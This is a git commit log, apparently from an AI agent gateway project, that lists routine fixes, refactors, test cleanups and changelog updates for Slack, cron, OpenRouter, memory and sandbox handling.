Peter Steinberger
e16f93af0c fix: stabilize ci test typings and mocks 2026-02-22 21:38:47 +00:00
Peter Steinberger
3f0b9dbb36 fix(security): block shell-wrapper line-continuation allowlist bypass 2026-02-22 22:36:29 +01:00
Peter Steinberger
7c109f5737 fix: resolve ci type errors and reconnect test flake 2026-02-22 21:35:20 +00:00
Vignesh Natarajan
d75b594e07 Agents/Replies: scope done fallback to direct sessions 2026-02-22 13:30:30 -08:00
Peter Steinberger
e4d67137db fix(node): default mac headless system.run to local host
Co-authored-by: aethnova <262512133+aethnova@users.noreply.github.com>
2026-02-22 22:24:28 +01:00
Peter Steinberger
d24f5c1e3a fix(gateway): fail fast exec approvals when no approvers are reachable
Co-authored-by: fanxian831-netizen <262880470+fanxian831-netizen@users.noreply.github.com>
2026-02-22 22:24:27 +01:00
Peter Steinberger
73fab7e445 fix(agents): map container workdir paths in workspace guard
Co-authored-by: Explorer1092 <32663226+Explorer1092@users.noreply.github.com>
2026-02-22 22:24:27 +01:00
Peter Steinberger
7bbd597383 fix(media): enforce agent media roots in plugin send actions
Co-authored-by: Oliver Drobnik <333270+odrobnik@users.noreply.github.com>
Co-authored-by: thisischappy <257418353+thisischappy@users.noreply.github.com>
2026-02-22 22:24:27 +01:00
Peter Steinberger
33a43a151d refactor(security): split elevated allowFrom matcher internals 2026-02-22 22:20:04 +01:00
Peter Steinberger
2081b3a3c4 refactor(channels): dedupe hook and monitor execution paths 2026-02-22 21:19:09 +00:00
Peter Steinberger
06b0a60bef refactor(daemon): share runtime and service probe helpers 2026-02-22 21:19:09 +00:00
Peter Steinberger
e029f78447 refactor(config): dedupe install and typing schema definitions 2026-02-22 21:19:09 +00:00
Peter Steinberger
4bf67ab698 refactor(commands): centralize shared command formatting helpers 2026-02-22 21:19:09 +00:00
Peter Steinberger
06bdd53658 refactor(agents): dedupe workspace and session tool flows 2026-02-22 21:19:09 +00:00
Peter Steinberger
2f8c68ae4d refactor(test): dedupe run-loop signal harness setup 2026-02-22 21:19:09 +00:00
Peter Steinberger
52ee1f697e test(memory): cover shared batch output and error helpers 2026-02-22 21:19:09 +00:00
Peter Steinberger
ad51372f78 refactor(memory): share batch provider scaffolding 2026-02-22 21:19:09 +00:00
Tak Hoffman
f8171ffcdc Config UI: tag filters and complete schema help/labels coverage (#23796)
* Config UI: add tag filters and complete schema help/labels

* Config UI: finalize tags/help polish and unblock test suite

* Protocol: regenerate Swift gateway models
2026-02-22 15:17:07 -06:00
Peter Steinberger
c539782c09 test(gateway-lock): stabilize port-probe liveness coverage 2026-02-22 22:11:53 +01:00
Peter Steinberger
ffb12397a8 fix(cron): direct-deliver thread and topic announce targets
Co-authored-by: Andrei Aratmonov <247877121+AndrewArto@users.noreply.github.com>
2026-02-22 22:11:52 +01:00
Peter Steinberger
320cf8eb3e fix(subagents): restore configurable announce timeout
Co-authored-by: Valadon <20071960+Valadon@users.noreply.github.com>
2026-02-22 22:11:52 +01:00
Peter Steinberger
3820ad77ba fix(cron): pass agentDir into embedded follow-up runs
Co-authored-by: seilk <88271769+seilk@users.noreply.github.com>
2026-02-22 22:11:52 +01:00
Peter Steinberger
34fef3ae60 fix(delivery): quarantine permanent recovery failures
Co-authored-by: Aldo <17973757+aldoeliacim@users.noreply.github.com>
2026-02-22 22:11:51 +01:00
Peter Steinberger
e6383a2c13 fix(gateway): probe port liveness for stale lock recovery
Co-authored-by: Operative-001 <261882263+Operative-001@users.noreply.github.com>
2026-02-22 22:11:51 +01:00
Peter Steinberger
9165bd7f37 fix(gateway): auto-approve loopback scope upgrades
Co-authored-by: Marcus Widing <245375637+widingmarcus-cyber@users.noreply.github.com>
2026-02-22 22:11:50 +01:00
Peter Steinberger
6817c0ec7b fix(security): tighten elevated allowFrom sender matching 2026-02-22 22:00:08 +01:00
Peter Steinberger
3a088c9f4f docs: prune completed experiment plan notes 2026-02-22 21:56:01 +01:00
Peter Steinberger
382785c6ce refactor(webchat): extract shared chat state helpers 2026-02-22 21:37:19 +01:00
Peter Steinberger
d574056761 fix(control-ui): send stable websocket instance IDs (#23616)
Co-authored-by: zq58855371-ui <248869919+zq58855371-ui@users.noreply.github.com>
2026-02-22 21:37:19 +01:00
Peter Steinberger
dc6afeb4f8 perf(webchat): skip unnecessary full history reloads on final events (#20588)
Co-authored-by: amzzzzzzz <154392693+amzzzzzzz@users.noreply.github.com>
2026-02-22 21:37:19 +01:00
Peter Steinberger
f2e9986813 fix(webchat): append out-of-band final payloads in active chat (#11139)
Co-authored-by: AkshayNavle <110360+AkshayNavle@users.noreply.github.com>
2026-02-22 21:37:19 +01:00
Peter Steinberger
8264d4521b fix(webchat): render final assistant payloads without history wait (#14928)
Co-authored-by: BradGroux <3053586+BradGroux@users.noreply.github.com>
2026-02-22 21:37:19 +01:00
Peter Steinberger
02dc0c8752 fix(control-ui): stop websocket client on lifecycle teardown (#23422)
Co-authored-by: floatinggball-design <262259579+floatinggball-design@users.noreply.github.com>
2026-02-22 21:37:19 +01:00
Peter Steinberger
19046e0cfc fix(webchat): preserve session labels across /new resets (#23755)
Co-authored-by: ThunderStormer <16649514+ThunderStormer@users.noreply.github.com>
2026-02-22 21:37:19 +01:00
Peter Steinberger
8a83ca54a1 fix(webchat): preserve session channel routing on internal turns (#23258)
Co-authored-by: binary64 <1680627+binary64@users.noreply.github.com>
2026-02-22 21:37:18 +01:00
Peter Steinberger
b0252ab90c docs: fix canonical session doc path hint 2026-02-22 21:35:14 +01:00
Peter Steinberger
13541864e5 refactor: extract telegram lane delivery and e2e harness 2026-02-22 21:33:20 +01:00
Peter Steinberger
acfbe158c6 docs: point pi extension paths to real source files 2026-02-22 21:32:28 +01:00
Peter Steinberger
820d765553 docs: update outbound refactor test path 2026-02-22 21:28:08 +01:00
Peter Steinberger
6ed08ddc24 docs: fix stale test file paths in experiment plans 2026-02-22 21:24:48 +01:00
Sid
3bfe990c33 fix(skill-creator): exclude .git and VCS internals from .skill archives (#23180)
The packager included .git directory contents in .skill archives,
causing unnecessary bloat, metadata leakage, and poor artifact hygiene.

Hard-exclude .git, .svn, .hg, __pycache__, and node_modules from
packaged archives. These paths are never useful in distributable skills.

Fixes #23149

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-22 15:24:11 -05:00
Peter Steinberger
3f64d4ad7b refactor(config): compile toolsBySender policy and migrate legacy keys 2026-02-22 21:22:20 +01:00
Peter Steinberger
c73837d269 docs: replace stale pi test file list with maintained patterns 2026-02-22 21:21:08 +01:00
Peter Steinberger
7eae1933fb refactor(test): extract shared fixture helpers in gateway and outbound tests 2026-02-22 20:18:20 +00:00
Peter Steinberger
5d90e31807 refactor(cron): share timed job-execution helper 2026-02-22 20:18:20 +00:00
Peter Steinberger
dff9ead59a docs: refresh gateway test references in testing guide 2026-02-22 21:16:53 +01:00
Peter Steinberger
30e8f41cfc docs: fix stale release checklist source paths 2026-02-22 21:15:09 +01:00
Peter Steinberger
06b4baf67f docs: remove internal hook import paths from examples 2026-02-22 21:12:49 +01:00
Peter Steinberger
5dba7501c9 docs: update stale tsgo reference in pty plan 2026-02-22 21:10:14 +01:00
Peter Steinberger
9c480d4dea docs: replace removed pi test script with current commands 2026-02-22 21:07:34 +01:00
Peter Steinberger
8af6d1a186 refactor(test): dedupe repeated fixture setup helpers 2026-02-22 20:04:51 +00:00
Peter Steinberger
6ef4eda1f0 refactor(memory): share post-json helper across remote fetchers 2026-02-22 20:04:51 +00:00
Peter Steinberger
2dcb244985 refactor(test): dedupe gateway and web scaffolding 2026-02-22 20:04:51 +00:00
Peter Steinberger
5e8b1f5ac8 refactor(test): centralize trigger and cron test helpers 2026-02-22 20:04:51 +00:00
Peter Steinberger
3c75bc0e41 refactor(test): dedupe agent and discord test fixtures 2026-02-22 20:04:51 +00:00
Peter Steinberger
5547a2275c fix(security): harden toolsBySender sender-key matching 2026-02-22 21:04:37 +01:00
Peter Steinberger
3461dda880 docs: fix voicecall expose disable example 2026-02-22 20:58:28 +01:00
Peter Steinberger
0d4c806406 docs: fix devices approve command in exe.dev guide 2026-02-22 20:52:46 +01:00
Peter Steinberger
e0d4194869 docs: add missing summary/read_when metadata 2026-02-22 20:45:09 +01:00
Vincent Koc
5e73f33448 fix(slack): keep thread session fork/history context after first turn (#23843)
* Slack thread sessions: keep forking and history context after first turn

* Update CHANGELOG.md
2026-02-22 14:39:00 -05:00
Peter Steinberger
02772b029d fix(security): require sender-only matching for elevated allowFrom
Co-authored-by: coygeek <coygeek@users.noreply.github.com>
2026-02-22 20:37:22 +01:00
Peter Steinberger
51b0772e14 fix(exec-approvals): harden forwarding target and resolve delivery paths
Co-authored-by: bubmiller <bubmiller@users.noreply.github.com>
2026-02-22 20:37:22 +01:00
Peter Steinberger
6f895eb831 fix(sandbox): honor explicit bind mounts over workspace defaults
Co-authored-by: tasaankaeris <tasaankaeris@users.noreply.github.com>
2026-02-22 20:37:22 +01:00
Peter Steinberger
eefbf3dc5a fix(sandbox): normalize /workspace media paths to host sandbox root
Co-authored-by: echo931 <echo931@users.noreply.github.com>
2026-02-22 20:37:21 +01:00
Peter Steinberger
0932adf361 fix(config): fail closed allowlist-only group policy
Co-authored-by: etereo <etereo@users.noreply.github.com>
2026-02-22 20:37:21 +01:00
Peter Steinberger
371a7da9c8 docs: add missing summaries and read_when hints 2026-02-22 20:37:02 +01:00
Vincent Koc
71c2c59c6c fix(slack): enforce replyToMode for auto-thread_ts and inline reply tags (#23839)
* Slack: respect replyToMode for auto-thread_ts and inline reply tags

* Update CHANGELOG.md
2026-02-22 14:36:46 -05:00
Vincent Koc
9f7c1686b4 fix(slack extension): preserve thread IDs for read + outbound delivery (#23836)
* Slack Extension: preserve thread IDs in reads and outbound sends

* Slack extension: fix threadTs typing and action test context

* Update CHANGELOG.md
2026-02-22 14:34:32 -05:00
Peter Steinberger
078e1a7fc9 fix(ui): remove unused Lit import in overview view 2026-02-22 20:32:52 +01:00
Peter Steinberger
f5814cc002 docs: add extension channels to Channels nav 2026-02-22 20:28:05 +01:00
Peter Steinberger
00bbecede7 test(gateway): add telegram-session chat.send final-event e2e coverage 2026-02-22 20:26:50 +01:00
Peter Steinberger
290f375aa1 docs: fix Together provider env path 2026-02-22 20:23:40 +01:00
Peter Steinberger
bbdfba5694 fix: harden connect auth flow and exec policy diagnostics 2026-02-22 20:22:00 +01:00
Peter Steinberger
7e83e7b3a7 fix(cron): narrow manual run execution state 2026-02-22 20:19:23 +01:00
Peter Steinberger
9cf445e37c fix(cron): restore interval cadence after restart 2026-02-22 20:19:23 +01:00
Peter Steinberger
aa4c250eb8 fix(cron): split run and delivery status tracking 2026-02-22 20:19:23 +01:00
Peter Steinberger
c3bb723673 fix(cron): enforce timeout for manual cron runs 2026-02-22 20:19:23 +01:00
Peter Steinberger
8bf3c37c6c fix(cron): keep watchdog timer armed during ticks 2026-02-22 20:19:23 +01:00
Peter Steinberger
5db1ee4ec6 fix(cron): keep manual runs non-blocking 2026-02-22 20:19:22 +01:00
Peter Steinberger
91f75a2b33 fix(cron): force fresh isolated session IDs 2026-02-22 20:19:22 +01:00
Peter Steinberger
6fef318fda docs: replace legacy chat examples in Venice provider guide 2026-02-22 20:15:07 +01:00
Peter Steinberger
72446f419f docs: align CLI docs and help surface 2026-02-22 20:05:01 +01:00
Val Alexander
42b3c52350 fix(ui): ensure nonce is always a string in gateway connect 2026-02-22 13:04:28 -06:00
Val Alexander
6298698008 revert(ui): remove UI portions of mixed commits from main
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-22 13:01:22 -06:00
Val Alexander
26ab93f0eb revert(ui): remove recent UI dashboard/theme commits from main
Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-22 13:01:22 -06:00
Peter Steinberger
8eb71cec26 test(agents): add malformed MEDIA prose integration coverage
Co-authored-by: Ho Lim <166576253+HOYALIM@users.noreply.github.com>
2026-02-22 19:59:03 +01:00
Peter Steinberger
c3d11d56c3 fix(agents): validate tool-result MEDIA directives with shared parser
Co-authored-by: Ho Lim <166576253+HOYALIM@users.noreply.github.com>
2026-02-22 19:52:29 +01:00
Peter Steinberger
0c1f491a02 fix(gateway): clarify pairing and node auth guidance 2026-02-22 19:50:29 +01:00
Peter Steinberger
53ed7a0f5c test: dedupe repeated test fixtures and assertions 2026-02-22 18:37:25 +00:00
Peter Steinberger
0e4f3ccbdf refactor: dedupe media and request-body test scaffolding 2026-02-22 18:37:25 +00:00
Peter Steinberger
4a88c579ba refactor: dedupe shared config type definitions 2026-02-22 18:37:25 +00:00
Peter Steinberger
12635de1c7 test: cover shared installer flow helpers 2026-02-22 18:37:25 +00:00
Peter Steinberger
07888bee34 refactor: share install flows across hooks and plugins 2026-02-22 18:37:25 +00:00
Peter Steinberger
176973b882 test(gateway): align auto-enable channel assertion 2026-02-22 18:37:18 +00:00
青雲
3dfee78d72 fix: sanitize tool call IDs in agent loop for Mistral strict9 format (#23595) (#23698)
* fix: sanitize tool call IDs in agent loop for Mistral strict9 format (#23595)

Mistral requires tool call IDs to be exactly 9 alphanumeric characters
([a-zA-Z0-9]{9}). The existing sanitizeToolCallIdsForCloudCodeAssist
mechanism only ran on historical messages at attempt start via
sanitizeSessionHistory, but the pi-agent-core agent loop's internal
tool call → tool result cycles bypassed that path entirely.

Changes:
- Wrap streamFn (like dropThinkingBlocks) so every outbound request
  sees sanitized tool call IDs when the transcript policy requires it
- Replace call_${Date.now()} in pendingToolCalls with a 9-char hex ID
  generated from crypto.randomBytes
- Add Mistral tool call ID error pattern to ERROR_PATTERNS.format so
  the error is correctly classified for retry/rotation

* Changelog: document Mistral strict9 tool-call ID fix

---------

Co-authored-by: echoVic <AkiraVic@outlook.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 13:37:12 -05:00
Drake Thomsen
042947b944 fix: add mistral to MemorySearchSchema provider/fallback unions (#14934)
* fix: add mistral to MemorySearchSchema provider/fallback unions

The Mistral embedding provider was added to the runtime code but the
Zod config schema was not updated, causing config validation to reject
`provider: "mistral"` and `fallback: "mistral"` as invalid input.

* Changelog: add unreleased note for Mistral memory schema fix

---------

Co-authored-by: Drake (Moltbot Dev) <drake@clawd.bot>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 13:36:53 -05:00
Peter Steinberger
95d7b0bbe1 fix(replies): normalize media path variants for dedupe
Co-authored-by: Ho Lim <subhoya@gmail.com>
2026-02-22 19:34:30 +01:00
Peter Steinberger
0342bed289 fix(replies): keep finals for cross-target messaging sends
Co-authored-by: Ion Mudreac <mudreac@gmail.com>
2026-02-22 19:34:30 +01:00
Peter Steinberger
40680432b4 fix(config): allowlist auto-enabled built-in channels when restricted
Co-authored-by: 4rev <4rev@users.noreply.github.com>
2026-02-22 19:31:18 +01:00
Peter Steinberger
772cf7df33 test: load chrome extension background utils across module modes 2026-02-22 18:29:20 +00:00
Vincent Koc
89a1e99815 fix(slack): finalize replyToMode off threading behavior (#23799)
* fix: make replyToMode 'off' actually prevent threading in Slack

Three independent bugs caused Slack replies to always create threads
even when replyToMode was set to 'off':

1. Typing indicator created threads via statusThreadTs fallback (#16868)
   - resolveSlackThreadTargets fell back to messageTs for statusThreadTs
   - 'is typing...' was posted as thread reply, creating a thread
   - Fix: remove messageTs fallback, let statusThreadTs be undefined

2. [[reply_to_current]] tags bypassed replyToMode entirely (#16080)
   - Slack dock had allowExplicitReplyTagsWhenOff: true
   - Reply tags from system prompt always threaded regardless of config
   - Fix: set allowExplicitReplyTagsWhenOff to false for Slack

3. Contradictory replyToMode defaults in codebase (#20827)
   - monitor/provider.ts defaulted to 'all'
   - accounts.ts defaulted to 'off' (matching docs)
   - Fix: align provider.ts default to 'off' per documentation

Fixes: openclaw/openclaw#16868, openclaw/openclaw#16080, openclaw/openclaw#20827

* fix(slack): respect replyToMode in DMs even with typing indicator thread

When replyToMode is 'off' in DMs, replies should stay in the main
conversation even when the typing indicator creates a thread context.

Previously, when incomingThreadTs was set (from the typing indicator's
thread), replyToMode was forced to 'all', causing all replies to go
into the thread.

Now, for direct messages, the user's configured replyToMode is always
respected. For channels/groups, the existing behavior is preserved
(stay in thread if already in one).

This fix:
- Keeps the typing indicator working (statusThreadTs fallback preserved)
- Prevents DM replies from being forced into threads
- Maintains channel thread continuity

Fixes #16868

* refactor(slack): eliminate redundant resolveSlackThreadContext call

- Add isThreadReply to resolveSlackThreadTargets return value
- Remove duplicate call in dispatch.ts
- Addresses greptile review feedback with cleaner DRY approach

* docs(slack): add JSDoc to resolveSlackThreadTargets

Document return values including isThreadReply distinction between
genuine user thread replies vs bot status message thread context.

* docs(changelog): record Slack replyToMode off threading fixes

---------

Co-authored-by: James <jamesrp13@gmail.com>
Co-authored-by: theoseo <suhong.seo@gmail.com>
2026-02-22 13:27:50 -05:00
Vincent Koc
cd7b2814af fix(slack): preserve string thread context in queue + DM route (#23804)
* fix(slack): preserve thread_ts in queue drain and deliveryContext

Two related fixes for Slack thread reply routing:

1. Queue drain drops string thread_ts (#11195)
   - `typeof threadId === "number"` in drain.ts only matches Telegram numeric
     topic IDs. Slack thread_ts is a string like "1770474140.187459" which
     fails the check, causing threadKey to become empty.
   - Changed to `threadId != null && threadId !== ""` to accept both number
     and string thread IDs.
   - Applies to all 3 occurrences in drain.ts: cross-channel detection,
     thread key building, and collected originatingThreadId extraction.

2. DM deliveryContext missing thread_ts (#10837)
   - updateLastRoute calls for Slack DMs in both prepare.ts and dispatch.ts
     built deliveryContext without threadId, so the session's delivery context
     never included thread_ts for DM threads.
   - Added threadId from threadContext.messageThreadId / ctxPayload.MessageThreadId
     to both updateLastRoute call sites.

Tests: 3 new cases in queue.collect-routing.test.ts
- Collects messages with matching string thread_ts (same Slack thread)
- Separates messages with different string thread_ts (different threads)
- Treats empty string threadId same as absent

Closes #10837, closes #11195

* fix(slack): preserve string thread context in queue + DM route updates

---------

Co-authored-by: RobClawd <clawd@RobClawds-Mac-mini.local>
2026-02-22 13:26:31 -05:00
Peter Steinberger
b13bba9c35 fix(gateway): skip operator pairing on valid shared auth 2026-02-22 19:25:50 +01:00
Peter Steinberger
9da5f9819b fix(plugins): ignore archived extension dirs during discovery
Co-authored-by: chenzhuoms <chenzhuoms@users.noreply.github.com>
2026-02-22 19:23:34 +01:00
Peter Steinberger
8839162b97 fix(config): persist built-in channel enable state in channels
Co-authored-by: HirokiKobayashi-R <HirokiKobayashi-R@users.noreply.github.com>
2026-02-22 19:23:34 +01:00
Peter Steinberger
1bd79add8f fix(plugins): sanitize workspace deps before plugin install
Co-authored-by: guanyu-zhang <guanyu-zhang@users.noreply.github.com>
2026-02-22 19:23:34 +01:00
Peter Steinberger
e55ab6fd91 test(ci): harden background abort timing on windows 2026-02-22 18:23:04 +00:00
Peter Steinberger
1bc5ba6e29 fix(feishu): prefer video file_key for inbound media 2026-02-22 19:21:42 +01:00
Peter Steinberger
0efe2cab7d fix(telegram): set provider on native command context
Co-authored-by: Serhii Panchyshyn <panchyshyn.serhii@gmail.com>
2026-02-22 19:21:26 +01:00
Vincent Koc
fbdae49988 Changelog: fix unreleased thanks attribution placement 2026-02-22 13:18:23 -05:00
Vincent Koc
35a7f6e7f6 Dev tooling: prevent CLAUDE symlink newline regressions 2026-02-22 13:18:04 -05:00
Peter Steinberger
95e85e627e fix(feishu): restore group command fallback and plugin deps 2026-02-22 19:13:19 +01:00
Peter Steinberger
8801130c5d fix(ci): annotate shared skill-install test mocks 2026-02-22 18:10:56 +00:00
Peter Steinberger
2858901441 test(flaky): harden slow vmFork unit suites
Co-authored-by: Ho Lim <166576253+HOYALIM@users.noreply.github.com>
2026-02-22 19:08:59 +01:00
Peter Steinberger
9ea5228f42 fix(browser): recover stale remote target ids
Co-authored-by: Ilya Strelov <10761735+strelov1@users.noreply.github.com>
2026-02-22 19:08:38 +01:00
Peter Steinberger
1fe2043742 fix(browser): harden extension relay worker recovery
Co-authored-by: codexGW <9350182+codexGW@users.noreply.github.com>
2026-02-22 19:08:38 +01:00
Peter Steinberger
40494d67f2 fix(browser): harden extension relay reconnect race
Co-authored-by: Ho Lim <166576253+HOYALIM@users.noreply.github.com>
2026-02-22 19:08:38 +01:00
Peter Steinberger
b79c89fc90 fix: stabilize CI type and test harness coverage 2026-02-22 18:06:34 +00:00
Luis Conde
af9881b9c5 fix(slack): resolve user IDs to DM channels before files.uploadV2 (#23773)
When a bare Slack user ID (U-prefix) is passed as the send target
without an explicit `user:` prefix, `parseSlackTarget` classifies it as
kind="channel".  `resolveChannelId` then passes it through to callers
without calling `conversations.open`.

This works for `chat.postMessage` (which tolerates user IDs), but
`files.uploadV2` delegates to `completeUploadExternal` which validates
`channel_id` against `^[CGDZ][A-Z0-9]{8,}$` — rejecting U-prefixed
IDs with `invalid_arguments`.

Fix: detect U-prefixed IDs in `resolveChannelId` regardless of the
parsed `kind`, and always resolve them via `conversations.open` to
obtain the DM channel ID (D-prefix).

Includes test coverage for bare, prefixed, and mention-style user ID
targets with file uploads, plus a channel-target negative case.
2026-02-22 13:04:53 -05:00
Peter Steinberger
568973e5ac perf(test): trim embedded/bash runtime fixture overhead 2026-02-22 17:56:05 +00:00
Peter Steinberger
08431da5d5 refactor(gateway): unify credential precedence across entrypoints 2026-02-22 18:55:44 +01:00
Peter Steinberger
98427453ba fix(network): normalize SSRF IP parsing and monitor typing 2026-02-22 18:55:34 +01:00
Peter Steinberger
4ed87a6672 fix(feishu): enforce id-only allowlist matching 2026-02-22 18:55:06 +01:00
Peter Steinberger
3286791316 refactor(agents): dedupe config and truncation guards 2026-02-22 17:54:51 +00:00
Peter Steinberger
409a02691f refactor(discord): dedupe directory and media send paths 2026-02-22 17:54:51 +00:00
Peter Steinberger
b3c78e5e05 refactor(outbound): reuse signal uuid detection and payload types 2026-02-22 17:54:51 +00:00
Peter Steinberger
dacb3d1aa2 refactor(queue): share drain helpers across announce and reply 2026-02-22 17:54:51 +00:00
Peter Steinberger
78220db2be refactor(browser): dedupe control-server test harness 2026-02-22 17:54:51 +00:00
Peter Steinberger
79ec29b150 test: consolidate embedded prompt error scenarios 2026-02-22 17:53:33 +00:00
Peter Steinberger
239f72c582 perf(test): consolidate archive safety cases and cache session manager 2026-02-22 17:53:33 +00:00
Peter Steinberger
b17f677439 test: merge no-op notifyOnExit scenario coverage 2026-02-22 17:53:33 +00:00
Peter Steinberger
5b078c8305 test: consolidate sudo fallback edge-case scenarios 2026-02-22 17:53:12 +00:00
Peter Steinberger
03285465ff perf(test): lazy-load weak-random fallback scanner 2026-02-22 17:52:12 +00:00
Peter Steinberger
90a8ddc3c6 perf(test): replace temp-path guard AST parse with fast scanner 2026-02-22 17:52:12 +00:00
Peter Steinberger
2ed94a08c0 test: merge duplicate bash background session-name coverage 2026-02-22 17:52:12 +00:00
Peter Steinberger
60f3a2a244 perf(test): shorten bash tool timing fixtures 2026-02-22 17:52:12 +00:00
Peter Steinberger
61d0c55a80 perf(test): share workspace fixture in skills download safety suite 2026-02-22 17:52:12 +00:00
Peter Steinberger
1437f371fc test: trim duplicate embedded runner setup cases 2026-02-22 17:52:12 +00:00
Peter Steinberger
924455edb8 perf(test): reuse tar.bz2 workspace in download safety tests 2026-02-22 17:52:12 +00:00
Peter Steinberger
a28464ec59 test: combine duplicate process log tail-window coverage 2026-02-22 17:52:12 +00:00
Peter Steinberger
64ecd3e81c test: merge duplicate targetDir escape cases 2026-02-22 17:51:38 +00:00
Peter Steinberger
dd8c0b694d perf(test): speed async memory sync close coverage 2026-02-22 17:51:38 +00:00
Peter Steinberger
4493f7325d perf(test): run nodes program tests on focused nodes-cli harness 2026-02-22 17:51:38 +00:00
Peter Steinberger
0e38505d3d test: collapse duplicate sandbox skill mirroring cases 2026-02-22 17:51:38 +00:00
Peter Steinberger
c964d21d74 perf(test): prebuild download archives and cache apply module 2026-02-22 17:51:38 +00:00
Peter Steinberger
2962e5a383 perf(test): tighten temp-path dynamic prefilter 2026-02-22 17:51:38 +00:00
Peter Steinberger
d1836df714 test: trim duplicate plain nodes list smoke 2026-02-22 17:51:38 +00:00
Peter Steinberger
3e819f0af5 test: drop duplicate nodes media parser coverage 2026-02-22 17:51:38 +00:00
Peter Steinberger
cc5cd51b13 docs(changelog): note installer gum auto-path smoke coverage 2026-02-22 18:48:36 +01:00
Jonathan Works
8c089bbe32 fix(hooks): suppress main session events for silent/delivered hook turns (#20678)
* fix(hooks): suppress main session events for silent/delivered hook turns

When a hook agent turn returns NO_REPLY (SILENT_REPLY_TOKEN), mark the
result as delivered so the hooks handler skips enqueueSystemEvent and
requestHeartbeatNow. Without this, every Gmail notification classified
as NO_REPLY still injects a system event into the main agent session,
causing context window growth proportional to email volume.

Two-part fix:
- cron/isolated-agent/run.ts: set delivered:true when synthesizedText
  matches SILENT_REPLY_TOKEN so callers know no notification is needed
- gateway/server/hooks.ts: guard enqueueSystemEvent + requestHeartbeatNow
  with !result.delivered (addresses duplicate delivery, refs #20196)

Refs: https://github.com/openclaw/openclaw/issues/20196

* Changelog: document hook silent-delivery suppression fix

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 12:47:42 -05:00
Peter Steinberger
3c6a15ce98 fix(discord): make opus optional and log fallback 2026-02-22 18:47:09 +01:00
Vincent Koc
24fd8cbdc8 fix(auto-reply): preserve OpenRouter @preset model directives (#23769)
* Auto-reply: preserve OpenRouter @preset model directives

* Changelog: move OpenRouter preset fix into 2026.2.22 unreleased
2026-02-22 12:46:04 -05:00
大猫子
91944ede4c fix(cron): propagate auth-profile resolution to isolated sessions (#20624) (#20689) 2026-02-22 12:45:03 -05:00
Peter Steinberger
3a19b0201c test(installer): drop legacy gum env from docker smoke 2026-02-22 18:44:21 +01:00
Alex Zaytsev
1685a0dd12 fix: remove trailing newline from CLAUDE.md symlink target (#21160)
* fix: remove trailing newline from CLAUDE.md symlink target

* Dev tooling: prevent CLAUDE symlink newline regressions

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 12:40:06 -05:00
Aleksandrs Tihenko
c52b2ad5c3 fix(cache): inject cache_control into system prompt for OpenRouter Anthropic (#15151) (#17473)
* fix(cache): inject cache_control into system prompt for OpenRouter Anthropic

Add onPayload wrapper that injects cache_control: { type: "ephemeral" }
into the system/developer message content for OpenRouter requests routed
to Anthropic models. The system prompt is typically ~18k tokens and was
being re-processed on every request without caching.

Fixes #15151

* Changelog: add OpenRouter note for #17473

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 12:27:01 -05:00
Peter Steinberger
66529c7aa5 refactor(gateway): unify auth credential resolution 2026-02-22 18:23:13 +01:00
Joly0
ded9a59f78 OpenRouter: allow any model ID instead of restricting to static catalog (#14312)
* OpenRouter: allow any model ID instead of restricting to static catalog

OpenRouter models were restricted to a hardcoded prefix list in the internal model catalog, preventing use of newly added or less common models. This change makes OpenRouter work as the pass-through proxy it is -- any valid OpenRouter model ID now resolves dynamically.

Fixes https://github.com/openclaw/openclaw/issues/5241

Changes:
- Add OpenRouter as an implicit provider in resolveImplicitProviders so models.json is populated when an API key is detected (models-config.providers.ts)
- Add a pass-through fallback in resolveModel that creates OpenRouter models on-the-fly when they aren't pre-registered in the local catalog (
model.ts
)
- Remove the static prefix filter for OpenRouter/opencode in isModernModelRef (live-model-filter.ts)

* Apply requested change for maxTokens

* Agents: remove dead helper in live model filter

* Changelog: note Joly0/main OpenRouter fix

* Changelog: fix OpenRouter entry text

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 12:21:20 -05:00
zwffff
c543994e90 Default reasoning to on when model has reasoning: true (fix #22456) (#22513)
* Default reasoning to on when model has reasoning: true (fix #22456)

What: When a model is configured with reasoning: true in openclaw.json (e.g. OpenRouter x-ai/grok-4.1-fast), the session now defaults reasoningLevel to on if the user has not set it via /reasoning or session store.

Why: Users expected setting reasoning: true on the model to enable reasoning; previously only session/directive reasoningLevel was used and it always defaulted to off, so Think stayed off despite the model config.

* Chore: sync formatted files from main for CI

* Changelog: note zwffff/main OpenRouter fix

* Changelog: fix OpenRouter entry text

* Update msteams.md

* Update msteams.md

* Update msteams.md

---------

Co-authored-by: 曾文锋0668000834 <zeng.wenfeng@xydigit.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 12:19:36 -05:00
Vincent Koc
9ae08ce205 Memory: add Arabic query expansion stop words (#23717) 2026-02-22 12:17:47 -05:00
Peter Steinberger
8c71bbe1e1 docs(changelog): add memory remote-guard hardening notes 2026-02-22 18:15:35 +01:00
Peter Steinberger
eb041daee2 fix(memory): route batch APIs through guarded remote HTTP 2026-02-22 18:15:15 +01:00
Peter Steinberger
f87db7c627 fix(memory): enforce guarded remote policy for embeddings 2026-02-22 18:15:15 +01:00
Peter Steinberger
f6feb4144c refactor(memory): add guarded remote HTTP helper 2026-02-22 18:15:15 +01:00
Robby
99cfb3dab2 fix(openrouter): pass reasoning.effort based on thinking level (#14664) (#17236)
* fix(openrouter): pass reasoning.effort to OpenRouter API (#14664)

* Agents: pass thinkLevel to extra-params wrapper

* Changelog: note fix/openrouter-reasoning-effort-14664 OpenRouter fix

* Changelog: fix OpenRouter entry text

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-22 12:14:12 -05:00
Vincent Koc
ecf2cff9cd Update CHANGELOG.md 2026-02-22 12:12:28 -05:00
Peter Steinberger
296b19e413 test: dedupe gateway browser discord and channel coverage 2026-02-22 17:11:54 +00:00
Peter Steinberger
34ea33f057 refactor: dedupe core config and runtime helpers 2026-02-22 17:11:54 +00:00
Peter Steinberger
24ea941e28 test: dedupe auto-reply web and signal flows 2026-02-22 17:11:54 +00:00
Peter Steinberger
